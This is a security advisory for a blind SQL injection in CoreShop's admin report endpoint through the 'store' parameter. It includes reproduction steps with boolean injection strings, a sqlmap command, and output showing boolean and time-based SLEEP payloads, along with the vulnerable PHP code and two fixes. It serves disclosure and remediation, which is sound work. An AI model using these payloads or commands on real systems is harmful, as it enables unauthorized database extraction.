GHSA-CH7P-MPV4-4VG4
Vulnerability from github – Published: 2026-01-07 19:29 – Updated: 2026-01-08 20:03Affected Version(s)
- CoreShop 4.1.2 Demo (tested) Demo | CoreShop
- Earlier versions may also be affected if the same code path exists
Summary
A blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques. The database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.
Details
The vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.
An attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.
Impact
Vulnerability Type: Blind SQL Injection
Impact: Confidentiality only
An attacker can:
- Enumerate database schema
- Extract all data accessible to the application’s database user
CVSS v3.1 (Base Score: 4.9 – Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Steps to Reproduce:
- Send a Normal Request:
- Request the report endpoint with a valid
storevalue (e.g.store=1) and observe that data is returned.
- Request the report endpoint with a valid
- Inject a Boolean TRUE Condition:
- Modify the parameter to
store=1 AND 1=1. - The response returns the same data as the normal request.
- Modify the parameter to
- Inject a Boolean FALSE Condition:
- Modify the parameter to
store=1 AND 2=1. - The response returns an empty dataset.
- Modify the parameter to
-
Confirm Injection Behavior:
- The difference between TRUE and FALSE conditions confirms that the
storeparameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.
- The difference between TRUE and FALSE conditions confirms that the
-
Automated Confirmation Using sqlmap:
- The vulnerable request was tested using
sqlmapwith thestoreparameter. - sqlmap successfully confirmed the parameter as boolean-based and time-based blind SQL injectable.
- The tool was able to fingerprint the backend environment, including:
- Database Management System (DBMS)
- Database hostname
- PHP version
- Available database names
- This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.
- The vulnerable request was tested using
C:\sqlmap>python sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store
---
Parameter: store (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND 3500=3500&objectType=all&orderState=[]&page=1&start=0&limit=50
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: report=products&_dc=1767718087622&from=1767200400&to=1798650000&store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)&objectType=all&orderState=[]&page=1&start=0&limit=50
---
web application technology: PHP 8.3.16
back-end DBMS: MySQL >= 5.0.12
hostname: 'coreshop4-demo-php-6c6b7c446f-9qd8w'
available databases [3]:
[*] app
[*] information_schema
[*] performance_schema
Solution
To mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The store parameter is expected to represent a numeric store identifier and should therefore be handled safely.
Two possible remediation approaches are recommended:
-
Strict Type Enforcement (Minimal Fix)
If the
storeparameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g.(int) $storeId). This prevents injection by ensuring that only numeric values are used in the query. -
Prepared Statements (Best Practice)
Alternatively, and preferably, the
storeparameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.
Applying either approach would prevent attackers from injecting SQL logic through the store parameter.
Parameter
- /admin/coreshop/report/get-data?report=products&_dc=1767720897882&from=1767200400&to=1798650000&store=1&objectType=all&orderState=%5B%5D&page=1&start=0&limit=50
Line of Code
CoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php
Line 64 :
$storeId =$parameterBag->get('store',null);
The store parameter is retrieved directly from the HTTP request via ParameterBag. This value originates from user-controlled input and is not validated or type-cast at this point.
Line 77 :
if (null ===$storeId) {
return [];
}
This check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).
Line 81 :
$store =$this->storeRepository->find($storeId);
The user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.
Line 107 :
WHERE orders.store =$storeId
AND orders.orderState ='$orderCompleteState'
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState='" . OrderSaleStates::STATE_ORDER . "'
At this point, the $storeId value is directly concatenated into the SQL query string. Unlike other parameters in the query (orderDate), this value is not bound as a prepared statement parameter.
Example Fixed Code
Option 1: Strict Type Enforcement (Minimal Fix)
If the store parameter is intended to be numeric only, enforce integer casting before using it in the query.
$storeId = (int)$parameterBag->get('store',0);
if ($storeId <=0) {
return [];
}
$sqlQuery = "
SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
FROM object_query_$classId AS orders
WHERE orders.store =$storeId
AND orders.orderState = '$orderCompleteState'
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState = '" .OrderSaleStates::STATE_ORDER . "'
GROUP BY " .$groupSelector;
This ensures that only numeric values are used and prevents SQL logic injection.
Option 2: Prepared Statements (Recommended Fix)
Use parameter binding for all user-influenced values, including store.
$sqlQuery = "
SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
FROM object_query_$classId AS orders
WHERE orders.store = ?
AND orders.orderState = ?
AND orders.orderDate > ?
AND orders.orderDate < ?
AND saleState = ?
GROUP BY " .$groupSelector;
$results =$this->db->fetchAllAssociative(
$sqlQuery,
[
(int)$storeId,
$orderCompleteState,
$from->getTimestamp(),
$to->getTimestamp(),
OrderSaleStates::STATE_ORDER,
]
);
This approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.7"
},
"package": {
"ecosystem": "Packagist",
"name": "coreshop/core-shop"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-22242"
],
"database_specific": {
"cwe_ids": [
"CWE-564"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-07T19:29:50Z",
"nvd_published_at": "2026-01-08T10:15:56Z",
"severity": "MODERATE"
},
"details": "### Affected Version(s)\n\n- CoreShop 4.1.2 Demo (tested) [Demo | CoreShop](https://docs.coreshop.com/CoreShop/Getting_Started/Demo/index.html)\n- Earlier versions may also be affected if the same code path exists\n\n### Summary\n\nA blind SQL injection vulnerability exists in the application that allows an authenticated administrator-level user to extract database contents using boolean-based or time-based techniques.\nThe database account used by the application is read-only and non-DBA, limiting impact to confidential data disclosure only. No data modification or service disruption is possible.\n\n### Details\n\nThe vulnerability occurs due to unsanitized user input being concatenated into a SQL query without proper parameterization.\n\nAn attacker with administrative access can manipulate the affected parameter to influence the backend SQL query logic. Although no direct query output is returned, boolean and time-based inference techniques allow an attacker to extract data from the database.\n\n\n### Impact\n\n**Vulnerability Type:** Blind SQL Injection\n\n**Impact:** Confidentiality only\n\nAn attacker can:\n\n- Enumerate database schema\n- Extract all data accessible to the application\u2019s database user\n\n**CVSS v3.1 (Base Score: 4.9 \u2013 Medium)**\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N\n```\n\n### Steps to Reproduce:\n\n\u003cimg width=\"1010\" height=\"372\" alt=\"1\" src=\"https://github.com/user-attachments/assets/312422c8-f3ea-4332-8c14-59aed737da6a\" /\u003e\n\n1. **Send a Normal Request:**\n - Request the report endpoint with a valid `store` value (e.g. `store=1`) and observe that data is returned.\n \n\u003cimg width=\"1259\" height=\"725\" alt=\"2\" src=\"https://github.com/user-attachments/assets/56f91c23-bae5-4edf-9c17-c776c323b3a8\" /\u003e\n\n2. **Inject a Boolean TRUE Condition:**\n - Modify the parameter to `store=1 AND 1=1`.\n - The response returns the same data as the normal request.\n \n\u003cimg width=\"1269\" height=\"725\" alt=\"3\" src=\"https://github.com/user-attachments/assets/c998065a-dc59-4fe5-8be9-d5ea82736ade\" /\u003e\n\n3. **Inject a Boolean FALSE Condition:**\n - Modify the parameter to `store=1 AND 2=1`.\n - The response returns an empty dataset.\n \n\u003cimg width=\"1259\" height=\"536\" alt=\"4\" src=\"https://github.com/user-attachments/assets/3be68566-f1f3-4a61-81d7-4f8b0b318bf7\" /\u003e\n\n4. **Confirm Injection Behavior:**\n - The difference between TRUE and FALSE conditions confirms that the `store` parameter directly affects SQL query logic, indicating a boolean-based blind SQL injection.\n \n5. **Automated Confirmation Using sqlmap:**\n - The vulnerable request was tested using `sqlmap` with the `store` parameter.\n - sqlmap successfully confirmed the parameter as **boolean-based and time-based blind SQL injectable**.\n - The tool was able to fingerprint the backend environment, including:\n - Database Management System (DBMS)\n - Database hostname\n - PHP version\n - Available database names\n - This confirms that the injection is exploitable beyond simple logic manipulation and allows database-level information disclosure.\n\n\u003cimg width=\"1115\" height=\"628\" alt=\"5\" src=\"https://github.com/user-attachments/assets/5370f6d1-9915-4bea-ae83-b7a977b8eeff\" /\u003e\n\n```php\nC:\\sqlmap\u003epython sqlmap.py -r test.txt --random-agent --batch --force-ssl --ignore-code=403,404 --no-cast --tamper=between,randomcase,space2comment --proxy http://127.0.0.1:8080 -p store\n---\nParameter: store (GET)\n Type: boolean-based blind\n Title: AND boolean-based blind - WHERE or HAVING clause\n Payload: report=products\u0026_dc=1767718087622\u0026from=1767200400\u0026to=1798650000\u0026store=1 AND 3500=3500\u0026objectType=all\u0026orderState=[]\u0026page=1\u0026start=0\u0026limit=50\n\n Type: time-based blind\n Title: MySQL \u003e= 5.0.12 AND time-based blind (query SLEEP)\n Payload: report=products\u0026_dc=1767718087622\u0026from=1767200400\u0026to=1798650000\u0026store=1 AND (SELECT 6265 FROM (SELECT(SLEEP(5)))KORX)\u0026objectType=all\u0026orderState=[]\u0026page=1\u0026start=0\u0026limit=50\n---\nweb application technology: PHP 8.3.16\nback-end DBMS: MySQL \u003e= 5.0.12\nhostname: \u0027coreshop4-demo-php-6c6b7c446f-9qd8w\u0027\navailable databases [3]:\n[*] app\n[*] information_schema\n[*] performance_schema\n```\n\n\n### Solution\n\nTo mitigate the SQL injection risk, user input should not be directly concatenated into SQL queries. The `store` parameter is expected to represent a numeric store identifier and should therefore be handled safely.\n\nTwo possible remediation approaches are recommended:\n\n1. **Strict Type Enforcement (Minimal Fix)**\n \n If the `store` parameter is intended to be numeric only, enforce integer casting when retrieving the value (e.g. `(int) $storeId`). This prevents injection by ensuring that only numeric values are used in the query.\n \n2. **Prepared Statements (Best Practice)**\n \n Alternatively, and preferably, the `store` parameter should be passed using parameter binding, consistent with the handling of other query values in this method. Using prepared statements fully prevents SQL injection and aligns with Doctrine DBAL best practices.\n \n\nApplying either approach would prevent attackers from injecting SQL logic through the `store` parameter.\n\n### Parameter\n\n1. /admin/coreshop/report/get-data?report=products\u0026_dc=1767720897882\u0026from=1767200400\u0026to=1798650000\u0026**store=1**\u0026objectType=all\u0026orderState=%5B%5D\u0026page=1\u0026start=0\u0026limit=50\n\n### Line of Code\n\nCoreShop/src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php\n\n**Line 64 :**\n\n```php\n$storeId =$parameterBag-\u003eget(\u0027store\u0027,null);\n```\n\nThe `store` parameter is retrieved directly from the HTTP request via `ParameterBag`. This value originates from user-controlled input and is not validated or type-cast at this point.\n\n**Line 77 :**\n\n```php\nif (null ===$storeId) {\nreturn [];\n}\n```\n\nThis check ensures the parameter is present, but does not enforce type safety or restrict the value to an expected format (e.g., integer).\n\n**Line 81 :**\n\n```php\n$store =$this-\u003estoreRepository-\u003efind($storeId);\n```\n\nThe user-supplied value is used to query the repository. While this lookup may fail for invalid values, it does not prevent the same value from later being used in a raw SQL context.\n\n**Line 107 :**\n\n```php\nWHERE orders.store =$storeId\n AND orders.orderState =\u0027$orderCompleteState\u0027\n AND orders.orderDate \u003e ?\n AND orders.orderDate \u003c ?\n AND saleState=\u0027\" . OrderSaleStates::STATE_ORDER . \"\u0027\n```\n\nAt this point, the `$storeId` value is **directly concatenated into the SQL query string**. Unlike other parameters in the query (`orderDate`), this value is **not bound as a prepared statement parameter**.\n\n### Example Fixed Code\n\n### Option 1: Strict Type Enforcement (Minimal Fix)\n\nIf the `store` parameter is intended to be numeric only, enforce integer casting before using it in the query.\n\n```php\n$storeId = (int)$parameterBag-\u003eget(\u0027store\u0027,0);\n\nif ($storeId \u003c=0) {\nreturn [];\n}\n\n$sqlQuery = \"\n SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n FROM object_query_$classId AS orders\n WHERE orders.store =$storeId\n AND orders.orderState = \u0027$orderCompleteState\u0027\n AND orders.orderDate \u003e ?\n AND orders.orderDate \u003c ?\n AND saleState = \u0027\" .OrderSaleStates::STATE_ORDER . \"\u0027\n GROUP BY \" .$groupSelector;\n```\n\nThis ensures that only numeric values are used and prevents SQL logic injection.\n\n\n### Option 2: Prepared Statements (Recommended Fix)\n\nUse parameter binding for **all user-influenced values**, including `store`.\n\n```php\n$sqlQuery = \"\n SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total\n FROM object_query_$classId AS orders\n WHERE orders.store = ?\n AND orders.orderState = ?\n AND orders.orderDate \u003e ?\n AND orders.orderDate \u003c ?\n AND saleState = ?\n GROUP BY \" .$groupSelector;\n\n$results =$this-\u003edb-\u003efetchAllAssociative(\n$sqlQuery,\n [\n (int)$storeId,\n$orderCompleteState,\n$from-\u003egetTimestamp(),\n$to-\u003egetTimestamp(),\nOrderSaleStates::STATE_ORDER,\n ]\n);\n```\n\nThis approach fully eliminates SQL injection risks and aligns with Doctrine DBAL best practices.",
"id": "GHSA-ch7p-mpv4-4vg4",
"modified": "2026-01-08T20:03:39Z",
"published": "2026-01-07T19:29:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/coreshop/CoreShop/security/advisories/GHSA-ch7p-mpv4-4vg4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22242"
},
{
"type": "WEB",
"url": "https://github.com/coreshop/CoreShop/commit/59e84fec59d113952b6d28a9b30c6317f9e6e5dd"
},
{
"type": "PACKAGE",
"url": "https://github.com/coreshop/CoreShop"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "CoreShop Vulnerable to SQL Injection via Admin Reports"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.